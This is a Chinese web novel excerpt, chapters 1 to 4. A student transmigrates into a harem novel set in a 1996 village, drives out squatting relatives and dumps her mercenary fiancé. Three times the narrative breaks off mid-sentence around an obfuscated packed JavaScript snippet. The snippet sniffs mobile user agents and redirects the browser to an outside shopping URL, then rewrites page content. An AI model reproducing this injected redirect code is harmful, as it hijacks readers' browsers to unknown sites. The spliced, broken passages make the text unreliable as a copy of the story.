《警嫂吃瓜日常[九零]》 1. 穿了 一九九六年,盛夏少雨。 地里的秧苗干得直不起腰来,栖梧县的电灌站全都抽不上水来。农田的灌溉成了大问题,果园的就更不用说了。 早起姚长安的父母就去了果园,夫妻俩是一对踏实肯干的老实人,但是再踏实,也架不住天公不作美,即便两口子雇了几个乡亲们帮忙挑水,也未必能挽救今年果园的损失。 一时着急上火,连午饭都顾不得回家做了。 按照往常,姚长安总得睡到日上三竿才会起床,没办法,家里就她一个孩子,从小娇生惯养的,别说是做饭了,连烧水都不会。 可是今天,姚长安却一反常态,穿着湖水蓝的连衣裙,挎着一个竹编的篮子,盖着笼布,打着遮阳伞往地里赶来。 篮子沉甸甸的,里头显然装了饭菜。 乡亲们看到这稀罕的一幕,忍不住议论纷纷—— “呦,太阳打西边出来了,阿远家闺女居然下地送饭了。” “真的假的,她什么时候会做饭了?” “人家是大学生,不会做饭怎么了,从她叔叔伯伯家弄点不就行了?” “不能吧,他们家跟桥西的不是老死不相往来了吗?” “我怎么听说,桥西的来了两个侄女儿,赖在他们家不走了?不会是她们做的饭吧?” “错了,一个是外甥媳妇,不知道来做什么,一个是离婚的侄女儿,回娘家没地方住,只好厚着脸皮找桥东的叔叔婶婶了。” “请神容易送神难哦,阿远的脾气也太好了,当初桥西怎么对他们的?居然就这么让桥西的住进来了?” “还不是他们家老太太缺德,趁着阿远两口子去镇上做买卖,安安又没有回来,直接撬了门锁,让两个孩子住进去了。到底是一家子骨肉,阿远又是个体面人,总不能真的把人轰出去。” “安安这个炮仗脾气,居然就这么忍了?” “怎么可能,昨天晚上不是还吵了一架吗?” “乖乖,有好戏看了!” 议论声中,姚长安过来了,脚步轻快,神色自若,可惜太阳伞遮住了她的表情,看不出喜怒,田埂上的乡亲们赶紧装哑巴,这位可是出了名的小炮仗,惹不起惹不起。 姚长安没有理会,径直往自家果园走去。 他们苍山镇以前有一部分在海里,所以镇子的发展重心都在西边,东边的地以滩涂为主,时间久了,滩涂逐渐往东推进,远离海水的那些就会硬化,成了陆地。 现在镇上有三分之一的地都是泥沙冲出来的,他们村就横跨在这三分之一的分界线上。 村东离海近,好多人害怕海水倒灌,不敢过来生活耕种,所以东边的地便宜,不像西边,大家都扎堆往那边挤。 当初她爸妈跟爷奶叔伯闹崩后,就跟村集体申请了来桥东发展,桥东大片刚成型的荒地,需要人工育肥才能成为良田。 农田尚且受冷落,宅基地自然也是白菜价。直到十年前,桥东都只有几户人家。 姚长安的爸妈当时还养猪,连带着宅基地和猪圈一起,申请了九间宅基地,是全村住得最宽敞的人家。 不过现在政策调整了,每户人家只能申请三间标准宅基地,这么一来就要动用耕地,那么耕地所属的人家,就可以狮子大开口。 以至于好几家为了这事大打出手,闹剧不断。 不过再怎么闹,姚长安家都是不掺和的,只是大家没想到,姚家的亲戚会这么不要脸,趁着家里没人,鸠占鹊巢。 原以为可以天天看她家的笑话了,没想到第二天就不吵了,真是怪事。 此时的姚长安已经来到了果园外面,果园里散养了鸡鸭鹅,外面围了铁丝网。 为了充分利用边缘的土地,姚长安的爸妈依着铁丝网种了一些丝瓜、黄瓜、豇豆,等这些吃完了,又会种上冬瓜、南瓜。 果园正门朝南,沿着铁丝网种了一排葡萄,门口还有两株爬藤月季,老远看着就红红火火的,馨香满怀。 可以说,姚长安的爸妈是一对非常热爱生活,勤劳朴实的夫妻。 可惜,他们只是这个小说世界里最早被牺牲掉的一对炮灰。 没错,姚长安穿书了,穿的是原点文学男频后宫爽文,有多爽呢?男主所谓的“白手起家”,是通过不断给他表弟放出拆迁的消息,让他表弟接近那些未来的白富美,怂恿白富美拿着拆迁款投资,再让这些投资暴雷,男主收拾善后,接盘白富美的全部资产,还能时不时收一个进后宫。 毕竟,每一次拆迁的承建商都跟男主有关,他想坐收渔利,简直易如反掌。 既得了救世主的美名,又不用自掏腰包,妥妥的一本万利,空手套白狼。 这类小说的标配,一般都是主角父母双亡,有车有房,但是这本不一样,这本男主角的父母健在,可以源源不断地给男主提供拆迁信息。 为了方便男主吸血,作者就把这个父母双亡的人设,转移到了每一个血包身上。 这么三观不正的小说,被读者举报锁章就不奇怪了,以至于到现在还没有连载完。 为了让小说解锁,恢复连载,心想事成系统找上了姚长安。 只要她成功带偏当前剧情,就可以实现她的一个心愿。 不过她现在的用户等级太低,系统只能选择性地帮她实现心愿,以后等级高了,才能变成真正的许愿机。 她接受了绑定,穿成了同名同姓的女配,是男主表弟的未婚妻,也是贯穿全文的,最大的血包。 全文最开始的两个冲突都是拆迁引起的,一个是她被未婚夫甩了,一个是她爸妈双双死亡。 这两件事看起来没有关系,实际是为了让姚长安吃瘪——被退婚的时候,她可是放了狠话的,看到渣男一次打一次,结果没出几天,拆迁的事落在了桥东,爸妈为了赶走亲戚,冲突之中被打死,这下惨了,姚长安成了孤家寡人,所有的亲戚都虎视眈眈,想要赶走她,吃绝户。 不得已,姚长安只能忍着被退婚的屈辱,主动吃了回头草。那么自然,今后未婚夫再怎么辜负她,她也只忍着。 这么恶心的剧情,让姚长安生理不适,她必须尽早解决这个隐患,所以她一穿过来,就爬起来做了午饭,她要来果园单独跟爸妈商议,要不然说话不方便。 这会儿她刚进果园,看门的大黑便汪汪汪地叫唤起来,亲热地扭动那壮硕的身躯,往她身上蹭。 那尾巴跟钢鞭似的,啪啪几下,把姚长安的腿都给甩红了,她哭笑不得,摸了摸大黑的狗头,正准备往里走,远处听到动静的大黄便领着一窝刚断奶的奶狗冲了出来。 大黄聪明,会开门关门,会叼工具,帮爸妈打下手,所以平时都是大黑看门,大黄打工。 两狗搭配得挺好,搭配着搭配着,就搭配了一窝小崽子出来,一个个,被喂得肥头大耳的,像一群毛团子滚到了她的脚边。 她笑着蹲下,摸摸这些奶团子,随口问道:“大黄,园子里还有帮忙的人吗?” 也不知道大黄听懂了没有,汪汪汪地冲她叫了两声,扭头就把果园大门关了起来,估计帮忙的人走了。 姚长安起身挎着篮子往里走,大黄赶紧招呼孩子们跟上,跑快了还不忘停下来等她。 这么懂事的大狗,让姚长安心里很不是滋味。 按照原文,大黄跟大黑都活不过那场冲突,跟她的爸妈一起成了男主哥哥调查的受害者。 男主的哥哥是一个刑警,男主所有的血包,都会扯上跟他们家人有关的案子,严重的是命案,轻一点的是故意伤害,模棱两可的是失踪。 姚长安一想到这个角色就生理反胃,一个作者,为了让他的主角爽,就可以不断地牺牲无辜的配角吗? 别人她管不着,但是她身边的人,能救一个是一个。 她走到园子深处,终于见到了给果树浇水的中年夫妻。 丈夫叫姚良远,是桥西的夏家老两口收养的孩子,他的亲生父亲是个军人,当时他母亲怀孕了,要去大西北随军,不忍心让他跟过去吃苦,便拜托夏家夫妻照顾两年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923824|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,等她生完老二,等老二断奶之后,再接大儿子过去。 谁曾想,那对夫妻一去便杳无音讯。这些年姚良远为了报答养育之恩,没少给夏家送钱,可惜夏家贪得无厌,还想过继儿子给他,好霸占他给女儿攒下的家产,他这才狠狠心,跟那边断了联系。 妻子叫刘克信,以前也住在桥西,养父母早亡,被好心的邻居刘家收养长大,虽然她跟刘家人不在一个户口本上,却情同家人,还改了刘姓。夫妻俩知恩图报,在镇上开了商店之后,就安排没有工作的刘家嫂子过去帮忙。至于她的亲生父母是谁,直到姚长安穿过来,仍然是个迷。 而姚长安自己,不好意思,也是被收养的。 这就是这个作者最气人的点——为了让姚长安这个贯穿始终的血包可以一直吊胃口,就把她的身世安排成了一重又一重的谜团。 每到作者剧情卡顿的时候,就把她的身世拉出来遛一遛,一会儿这个疑似她的生父,一会儿那个疑似她的生母,一会儿这个疑似她养父的生父,一会儿那个疑似她养母的生母。 不是大老板,就是达官显贵,一旦确认亲缘关系,她这个女配又可以给男主提供源源不断的摇钱树副本,简直一鱼多吃。 不怪读者受不了这种作者,抓住后宫这个点进行集体举报。 不过在她看来,养恩大于生恩,既然她穿过来了,那么眼前的夫妻就是她的亲爸亲妈! 她一定不会让他们死的! 她笑着站在两夫妻身后,甜甜地喊了声爸妈。 夫妻俩看到宝贝女儿带了东西过来,又惊又喜,赶紧放下手里的水舀子。 姚良远上前一步,接过她臂弯的篮子,嗔怪道:“你这孩子,这么热的天,出来做什么?晒坏了怎么办?” 刘克信接过篮子,见里面都是饭菜,忍不住眼眶一红:“乖宝,这是你做的?你这双手金贵着呢,哪能用来烧火做饭呢。快给妈看看,烫着了没有?” 姚长安个头高,笑着搂住刘克信的脖子:“当然没有。家里有两个癞皮狗,摘菜烧火的活儿都让她们干了,我只负责掌勺。” “哎呦,我家宝贝会掌勺了?跟谁学的?”姚良远很是兴奋,笑呵呵地接过遮阳伞,亲手给女儿撑着。 姚长安笑眯眯的:“自学的,我厉害吧?” “不愧是大学生,学什么都快!”刘克信很是骄傲,看看她的宝贝女儿,多聪明! 她赶紧去盛饭,第一碗递给了宝贝女儿,姚长安却摇了摇头:“我吃过了,你们快吃吧,我来浇水。” “哎呀,不用不用,你放那!”两夫妻哪里舍得,赶紧拦着。 姚长安蹲在水桶旁,正色道:“爸,妈,这都是小事,别跟我争,我有重要的事情要跟你们商量。” 两夫妻从没见过女儿这么严肃的样子,赶紧放下碗筷,凑到女儿跟前,像两个听课的学生。 姚长安看到两夫妻额头的汗,于心不忍,催促道:“你们快吃,吃完了再说。” 无奈,两夫妻只好赶紧扒拉饭菜,都想快点吃完,让女儿回去吹空调。 两口子吃完,姚长安便丢下了水舀子,对着大黄吹了声口哨:“去,走远点,看着点有没有人过来。” 大黄很通人性,立马领着崽子们跑开了。 姚长安这才清了清嗓子,正色道:“爸,妈,你们也知道,家里那两个,是听说了桥西要拆迁,借口没地方住,这才赖在咱们家的。” 两口子面面相觑,对啊,是这样没错,都说桥西要拆迁了。 姚长安话锋一转:“没用的,桥西那个化工厂项目会污染水源,不会通过的,这两天会有一个搞电子科技的老板过来考察,真正要拆的是咱们桥东。” 也正是因为桥东要拆了,那两个无赖才更加铁了心不肯走了,带着孩子,想做他们家的钉子户,分一笔拆迁款呢。 她爸妈就是为了这事,跟那两家起了冲突,被…… 姚长安必须赶在那之前,跟爸妈一起,赶走那两个带孩子的无赖! 2. 退婚 赖在姚长安家的,一个是夏家大姑妈的儿媳妇邹佳。 她自己是个护士,男人是内科医生,都在镇上卫生所上班,是城镇户口,不敢超生,两口子为了生儿子,一直把大女儿藏在邹佳的乡下娘家那里。 现在邹佳怀孕了,为了躲计划生育,就请了病假,跑到了婆婆的娘家,这样既有亲戚照应,又不至于被自己婆家和娘家的计生组找到。 不过她的大女儿才两岁,留在娘家她不放心,毕竟大夏天的,娘家哥嫂自己还有孩子,便被她一起带了过来。 没想到婆婆娘家住不下,婆婆的妈妈三说两哄的,就把她带到了桥东的二舅姚良远家里。 他很有本事,不光在乡下搞了果园,还在镇上开了百货商店和饭店,是桥东第一家盖楼房的,只不过当时他只盖了三间,另外六间依旧养猪。 后来生意越来越好,就不养猪了,猪圈一拆,请道士清了场,就把另外六间也盖了楼房。 听说他去年在镇上和县里都买了房子,真是富得流油,过来借住几天怎么了? 只是邹佳没想到,二舅家的女儿姚长安脾气火爆,昨晚就把她臭骂了一顿,还扬言要拿扁担把她揍出去。 当时可把邹佳气死了,可惜她寄人篱下,只能忍了,没想到姚长安今天就变了态度,只是使唤她摘了菜,没有再为难她。 另外一个赖在姚长安家的,是桥西夏家大伯家的大女儿夏雨,她男人在镇上粮管所上班,她为了生儿子,把大女儿藏在了亲戚家,自己东躲西藏的,很是遭罪。可惜二胎还是女儿,男人不甘心,继续追了三胎,又怕万一东窗事发,前途不保,干脆跟她假离婚,离婚后生的,就算不到他头上了。 不过为了做戏,夏雨还是带着二女儿回了娘家,可惜她弟弟搞大了女同学的肚子,女方家里最近天天去桥西闹,夏雨生怕被人发现她怀孕,便央求她二叔姚良远,想住到桥东避避风头。 姚良远没有同意,她便给她奶奶出了馊主意,趁着叔叔婶婶去镇上做生意,撬了锁,直接住了进来。正好姚长安刚放暑假,在火车上呢,也就没能阻止得了她们。 她跟邹佳两个都是孕妇,还带着孩子,她就不信了,二叔会狠心赶她们走。 结果二叔还没说什么,回到家的姚长安就把她臭骂了一顿,气得她一个劲地拿奶奶的养育之恩说事,后来二叔看不下去,出面阻止了姚长安,昨晚的闹剧才消停了。 也不知道是不是二叔的劝说起了效果,今天姚长安居然不吵了,只是使唤她帮忙烧了火,做完饭就下地去了。 真是奇怪。 这会儿她越想越觉得自己赢了,便宽慰邹佳:“佳佳,别担心,二叔人很好的,安安只是气头上胡闹两下,你跟我安心在这里住着就好。” 邹佳的男人比夏雨小一岁,点点头,道:“姐,我听你的,你住我也住,你走我也走。” “不走,走哪儿去?现在计划生育抓得那么严,出去被抓就完蛋了。”夏雨很是唏嘘,这都什么事儿,生个孩子跟做贼似的。 邹佳担心的正是这个,劝道:“姐,我昨天想了一晚上,等会安安回来要是发脾气,咱俩忍忍吧,万一惊动了计生组就不好了。” “怕她做什么?要不是我奶奶,二叔早就饿死了,你放宽心,踏踏实实在这里住着,别怕。”夏雨很是理直气壮,混忘了她爸的房子都是二叔出钱给盖的,也忘了自己男人的工作,是二叔帮忙争取来的。 人就是这样,贪心不足蛇吞象。 好在,她的贪婪,姚长安了如指掌。 姚长安不会放任这种人害人的,她的核心计划只有一个——找计生组。 站在树荫下的姚良远一听,立马摇头:“不行不行,到底是两个小生命,一旦计生组来了,孩子肯定保不住。” 姚长安无语了:“爸,你好好想想,现在除了计生组,谁还能让她们滚蛋?” 姚良远还是不忍心,沉思良久,道:“我跟你妈妈想想别的办法,你别急。对了,桥东拆迁的事情,一点风声都没有啊,你是怎么知道的?” 姚长安总不能说自己是穿越的,只能撒了个谎:“我同学认识那个投资商,她给我透露的消息。爸,你听我的,一旦桥东要拆迁,她们两个就更不可能走了,她们本来就惦记咱家的东西。” 姚良远看了眼自己老婆,默默叹了口气:“不管怎么说,我不想找计生组。再想想别的办法吧。” 姚长安无奈看向刘克信,刘克信一直欣赏自己男人的善良与勤劳,何况,她自己也是被没有血缘关系的人养大的,知道这份枷锁的重量。 只得劝自己女儿:“安安,你别急,这事我跟你爸爸会解决的。桥东拆迁的事情你先别往外说。” “好。”姚长安拿这对老好人没辙,只得感慨,难怪他们会被各路亲戚吸血,性格决定命运啊。 哎。 日头很毒,饭吃完了,两口子却不肯回去,坚持要把最后一片果林浇完。 姚长安便留在这里,一起干。不得不承认,这活儿真累人啊,所以她爸妈挣的都是辛苦钱。 长年累月下去,长辈的腰椎肯定吃不消,哎,要是下场雨就好了。 也许是她的孝心感动了系统,浇着浇着,天居然暗了下来。 不到五分钟,豆大的雨点便砸了下来。 姚良远震惊不已:“怪了,今天天气预报没有雨啊。” 刘克信也觉得不可思议,不过这是好事,两口子赶紧叫上女儿回家。 一路上,姚长安都沉默不语。 她盯着系统界面,烦躁的心情稍稍平复了一点,忍不住在心里夸道:“你居然没有骗我。” “当然不会骗你啦!只要你改变了剧情走向,哪怕只是一点点其他的可能,我都会力所能及地帮你实现一个小小的心愿。”系统很是骄傲,它可是说话算数的好统子。 姚长安笑着看了眼系统界面,挺好,剧情偏差了百分之零点一,再接再厉吧。 这场雨来得快,去得也快,虽然只有半个小时,却足够地里的作物喘口气了。 姚长安的爸妈终于松了口气,一个骑车去了镇上,看看那边的商店缺不缺货,一个去了地里,看看地里的秧苗要不要拔稗草。 那邹佳跟夏雨住在最西边的那栋楼房,看到家里长辈走了,很是松了口气。 两人带着孩子去院子里摘番茄吃,看到有两个人在门口鬼鬼祟祟的,便问了一声谁。 来的是两个面目俊秀高大帅气的年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923825|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻小伙子,其中一个叫邢亚辉,以前住在桥西,后来他爸爸做生意,就去了镇上,连户口都迁走了,留下爷爷奶奶在这里跟着他小叔过,所以这次拆迁没他家什么事。 当年姚长安的爸妈做生意的时候,找他家里借了笔钱,虽然后来还了,但是人情债难了,所以在邢亚辉的妈妈得癌症快去世的时候,道德绑架了姚长安的爸妈,逼着他们答应了两人的婚事。 全村都知道,邢亚辉早晚是姚良远的女婿,所以他走在村里,人人都会高看他一眼。 跟他一起的是他表哥温枕瑜,两人的妈妈是亲姐妹,只是一个嫁得好,从小地方一路打拼去了省城,一个嫁得差,只拼到了镇上。 邢亚辉还有个弟弟,上高五,妹妹高三。 他自己倒是考上大学了,为了离姚长安近一点,放弃了本地稍微不错的学校,报了那边的普通大学。 本来他到这边,可以理直气壮,登堂入室,可惜他今天是来提分手的,这才鬼鬼祟祟的,看着不像个好人。 邹佳喊了一声,他却没有进来,而是扯了扯温枕瑜的胳膊,祈求道:“表哥,你陪我进去吧,安安脾气可坏了,等会她发作了我可吃不消。” 温枕瑜一直在门口大树旁边站着,没有露面,他说什么都不肯陪着进来,最终邢亚辉只能硬着头皮单刀赴会:“嫂子,是我,我来找安安。” 邹佳恍然:“是小辉啊,安安在楼上睡觉呢,你自己去找她?” “你帮我喊一下吧嫂子,我去不合适。”邢亚辉看起来还挺有道德。 邹佳却心知肚明,这小子看上的是姚家的家产。 不说别的,光是镇上的商店和饭店,那就是不小的财产,将来要是拆迁,啧啧啧,简直不敢想象。 邹佳皮笑肉不笑地哦了一声,把刚摘的番茄塞孩子手里,转身往中间那栋楼的楼上走去。 “安安,小辉找你约会来了!”邹佳故意扯着嗓子,臊一臊楼上那个小公主。 姚长安打了个哈欠,心说该来的总算是来了,不意外。 她没关空调,要不然,等会重新启动反而费电,关上房门,她慢悠悠地趿拉着脱鞋,去了楼下。 邢亚辉有阵子没见过她了,不是因为她不肯见他,而是因为他故意躲着他。 究其原因……是因为桥西要拆迁了。 桥西有个女生,也是独生女,一直对他有意思,初中的时候就给他写过情书,只不过他知道自己爸妈看中了姚长安,就没有答应。 那女生的家庭情况虽然比不上姚长安,但也不差,一旦拆迁,肯定比姚长安家有钱。 所以得到消息的第一时间,他爸就撺掇他,去找那个女生接触看看,只要她愿意,那就踹了姚长安。 现在,他就是来通知姚长安结果的。 没想到姚长安下楼之后,看都不看他一眼,径直走到井边,提着冰了西瓜的水桶上来,自顾自切了西瓜,抱着西瓜吃了起来。 吃了一口西瓜籽,也不理他。 邢亚辉尴尬得很,但也只能咬咬牙,上前道:“安安——” 没等他开口,他就被西瓜籽攻击了。 姚长安一粒一粒地往他脸上吐西瓜籽,末了骂道:“姑奶奶不要你了,滚!” 3. 赶客 邢亚辉提分手的时候,男主温枕瑜就在门外等着,这事姚长安知道,毕竟原文就是这么写的。 但她不知道的是,她今天给爸妈送饭的事情被人传到了桥西,成了一桩大新闻。 就连邢亚辉的爷爷奶奶都听说了,老人家不像他那么拜金,一个劲地劝道:“孩子,以前你爸爸都说安安不会过日子,现在人家会过日子了,你怎么反而要跟人家掰了呢?你俩都订婚好几年了,这样不好吧?” 邢亚辉也有点动摇,如果姚长安真的可以像别的女生那样,小意柔情,也许他可以将就一下? 就在他犹豫的时候,他表哥扯了扯他的膀子,让他出去说话。 两人站在门外的香樟树下,互相递了根烟。 温枕瑜问道:“你不是说你未婚妻不会做饭的吗?” “我也不知道啊,她怎么突然就……”邢亚辉一脸茫然。 温枕瑜若有所思,抽完一根烟才问:“长得漂亮吗?” “漂亮啊,比桥西的这个漂亮多了。说实话,我有点舍不得,不过……不过我更爱钱。”邢亚辉从小被这个表哥洗脑,笑道,“男人嘛,只要有钱,什么类型的女人都能找到。” “没错。”温枕瑜又点了根烟,这次抽的是他自己的黄鹤楼,一看就比邢亚辉家里有钱,毕竟,要不是拆迁的事,他也不会屈尊降贵来乡下。 他想了想,问道:“跟她那个了吗?” “哪个?”邢亚辉差点没有拐过弯来。 温枕瑜眼睛往下游走,明示得非常露骨。 邢亚辉老脸一红:“没有,她不肯,牵手都不肯。” “那真没劲,她以为她是什么圣女吗?”温枕瑜有点瞧不上这个表弟,蠢东西,三年多了都没有拿下一个女人,真没用。 邢亚辉尴尬地掐了烟头,困窘让他沉默。 温枕瑜一锤定音:“分了吧,这种女的最没劲。” “也对,脾气又差,谁高兴伺候她。”邢亚辉嘀嘀咕咕,一路上都在念叨姚长安的脾气是出了名的炮仗。 结果邢亚辉进去半天,姚长安却没有发火骂人,这不得不引起温枕瑜的注意。 他走近几步,斜着往里看了眼,一眼便看到,那个传说中火爆脾气的女大学生,正慢条斯理的,用充满戏谑的表情,一粒一粒地往他表弟脸上吐西瓜籽。 温枕瑜没忍住,笑了。他忽然觉得这个女生有点意思,不像表弟形容得那么古板没趣。 不过这都不重要,钱才是最要紧的,男人必须先有钱,才能考虑其他。 温枕瑜走回大树后面,点了根烟,等人。 可惜邢亚辉迟迟没有出来,温枕瑜都等得有点恍惚了。 等他因为好奇而再次转身向院子里看去的时候,但见姚长安打了一桶井水,给邢亚辉浇了个透心凉,心飞扬。 邢亚辉这才气急败坏地跑了出来,骂骂咧咧的,诅咒姚长安做一辈子的老姑婆,永远没有男人要! 姚长安不禁冷笑:“我谢谢啊,你以为你们男人是什么很金贵的宝贝吗?我呸!别让姑奶奶见到你,见一次打一次!” 邢亚辉就这么灰溜溜地冲到门口路上,一扭头,却发现自己表哥在憋笑,他委屈死了,怨怪道:“还笑,都怪你,不肯陪我进去!” “你傻呀!她吐你西瓜籽的时候还不跑?”温枕瑜没见过这么蠢的东西。 邢亚辉也想不通,狐疑道:“我想走的啊,可是不知道为什么,我的脚好像黏了胶水,根本拔不起来。” 温枕瑜没有多想,调侃道:“大概是心虚吧,被她收拾一下,心里踏实了?” 邢亚辉想了想,好像是这样,便不生气了,反正是他不要她的。 虽然是她先说的分手。 大概是桥西哪个大嘴巴走漏了风声吧,不管了,先去桥西看看新女朋友。 * 院子里,姚长安慢条斯理地把水桶放下,转身上楼去了。 至于目睹了全程的两个寄居蟹,则大张着嘴巴,不可置信地交换了一个眼神,默默回到了西边的楼房。 两边的楼房都没有装空调,只有中间的那栋有,所以两人只能吹电风扇。 两人面对面坐着,想想心有余悸,尤其是邹佳,她是真没见过这么彪悍的女生,可见传闻都是真的,这个表妹很不好惹。 夏雨倒是没那么紧张,她毕竟是夏家的人,只要她奶奶还活着,她就不怕。 但是,她毕竟怀着孕,多少有点忌惮,想了想,说道:“这个安安越来越不像话了,以后咱们绕着她走。” “可是她家只有一个院门。”邹佳无奈得很,要是每栋楼房都有单独的院子和院门就好了,可惜,三个院子是连在一起的。 好处是,宽敞,院门一关,孩子玩得很开心,坏处是,不方便,每次都要从中间那栋门口走。 少不得要看姚长安的脸色。 邹佳也不想看脸色,她下意识看了眼身后的后门,有了主意:“要不以后咱们走后门?” 毕竟他们这里夏天热,房子都是前后留门的,可以吹穿堂风。 可是夏雨不愿意,她忍不住蹙眉:“那成什么了?咱俩见不得人吗?” “可是……”邹佳跟姚家的关系到底远了一层,她没那么理直气壮,劝道,“咱俩都怀着孩子呢,别惹那个疯子。” 夏雨还是不乐意,她准备等叔叔婶婶回来告状,看看他们怎么说再做决定。 她没有想到的是,她叔叔去了趟镇上,居然顺便找了她男人。 所以她叔叔还没回来,她男人薛晨先来了,黑着脸,浑身怒气,凶神恶煞地让她收拾东西滚蛋。 夏雨都傻眼了,她不知道发生了什么,一脸茫然地看着薛晨,问道:“你怎么知道我在这儿?” “你说呢?”薛晨气死了,那个姚良远,居然直接去粮管所找他,虽然和和气气好言好语,说的却都是让人胆战心惊的话。 毕竟,他跟夏雨离婚的时候,夏雨已经怀孕了,只要将来生产的时候日期一对,就知道他超生了。 何况他们的大女儿还藏在乡下没有报户口,要是被人捅到单位,他的前途就完了,只得亲自过来,把夏雨叫走。 夏雨一听就知道,是二叔整的幺蛾子,气得她把心一横:“我不走!我跟你离婚了,真把我逼急了,我就说孩子是他的,反正他跟我没有血缘关系!” 这话是能随随便便说出来的吗?薛晨听到她这么没脑子,都傻眼了。 气得他破口大骂:“你有病吧?这种话说出口,你还怎么做人?我还怎么做人?你踏马脑子被门夹了?” “那我不是没办法吗?去桥西容易被人注意到,桥东人少,叔叔婶婶又不能生育,计生组不会过来的。”夏雨这人喜欢钻牛角尖,想着叔叔欠奶奶的养育之恩,肯定不会把事情做得太难看, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923826|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便死活赖着,不肯走。 以至于她气头上忘了,姚长安是抱养的,这件事是瞒着姚长安的。 薛晨意识到她闯祸了,万一二叔知道了大发雷霆,以后大家都没得处了! 他气得不行,警告道:“闭嘴吧你!谁让说安安的事了?小心二叔找你算账!” 夏雨这才回过神来,尴尬地看了眼隔壁,姚长安不在外面,应该没事。 薛晨却没有这么乐观,他再次警告道:“我跟你丑话说在前头,你要是再胡说八道,别怪我真的找别人过!” “你什么意思?你在外头有人了?”夏雨总是抓错关键,她急了,立马冲上前来,要跟薛晨拼命,嘴里还骂着,“好哇,老娘东躲西藏地给你生儿子,你却勾搭别的女人,我跟你没完。” 薛晨气死了,这种胡搅蛮缠的蠢货,真是他人生的最大污点。 看看,看看,又是拽他的衣领子,又是抓他的脖子,简直跟神经病一样。 气得他一个不耐烦,直接把人搡在了地上。 偏偏夏雨身后就是走廊的台阶,这一摔,肚子不偏不倚,磕了个正着。 一时间,痛得她哎呦哎呦,叫苦不迭。 那薛晨也傻眼了,他只是说气话,威胁她假离婚变成真离婚,谁知道她这么蠢,自己不懂还冤枉他乱搞,现在好了,出事了! 急得他,赶紧俯身,把人抱起来就走。 邹佳在他身后喊了一声:“姐夫,孩子怎么办?” 说的是他们的二女儿,刚学会走路。 薛晨顾不上了,只得回了一句:“麻烦你帮忙照顾一下,谢谢啊。” 邹佳无语了,她自己怀着孕,还要照顾大女儿,现在又多了个表姐家的二女儿,哪里忙得过来。 只得厚着脸皮,带着孩子去那边找姚长安。 不得不说,姚长安住的这栋楼,装修得那叫一个漂亮,把邹佳都看傻眼了,下意识想推开房间看看里面什么样,结果房门锁上了。 只得试试对面的房间,还是被锁了。 到了二楼,情况一模一样,好家伙,从上到下,每个房间都锁了门! 这是把她们当毛贼防着了!邹佳好气,却又因为寄人篱下,不敢发作,只得在姚长安房间门口敲门,说好话:“安安,大表姐摔着肚子了,你能帮忙照看一下妮妮吗?我看不过来。” 姚长安正在房间里研究系统呢,刚才她不想让邢亚辉开溜,就跟系统许了个愿,没想到居然成功了。 可见剧情又发生了偏转,好事儿。 连带着她的心情也好了不少,这会儿在跟系统讨价还价,问问怎么没有系统商店之类的功能。 系统委屈巴巴:“你的等级太低啦,等你修改的剧情比例达到百分之五的时候会开启的。” 好吧,姚长安看了眼进度条,才改了百分之零点三,再接再厉。 至于门外鬼叫的女人,反正暂时赶不走,不如利用一下。 她开了门,把两个孩子都叫了进来,笑道:“嫂子,我爸妈说我做的饭不好吃,晚饭就拜托你了,孩子我来看着,谢谢啊。” 邹佳皮笑肉不笑的,直到房门关上,都没好意思说个不字。 算了,人在屋檐下不得不低头。 她深吸一口气,认命当厨娘去了。 正忙着,院门外有人喊:“安安,在家吗?不好了,你爸爸跟你大伯打起来了!” 4. 身世 姚长安不会哄小孩,只得开了电视给小孩看动画片,没听见外面有人喊,邹佳只能跑到楼上传话。 姚长安有点意外,怎么现在就打起来了?是因为夏雨撞到肚子了? 那不是薛晨的责任吗?甚至口不择言暴露她的身世,简直疯了这家人。 她赶紧换了双运动鞋,把两个孩子一起带出去交给了邹佳,锁了房门,下楼推出自行车,跨上就走。 这会儿快五点了,太阳却依旧火热,她这一路骑到村口,衣服都湿了。 到那一看,里三层外三层的,围了不少人呢。她随便叫住一个婶子问了问,果然是因为夏雨的事情。 夏家大伯夏良达是一队的生产队长,薛晨带着夏雨往镇上赶的时候,他正好组织人手在河岸边往上担水浇灌秧苗呢,毕竟半个小时的雨量根本不够。 他叫住薛晨问了一声,这一问可不得了,夏良达的天塌了,他还指望这个大女儿带着孩子赖在姚良远家里呢,这样一旦桥西拆迁了,他们一家就不用担心住房的问题,只要集体搬到桥东就行了。 现在夏雨面临流产的风险,他就算脸皮再厚,也不能塞个小产的人进别人家里,要被村里人骂死的。 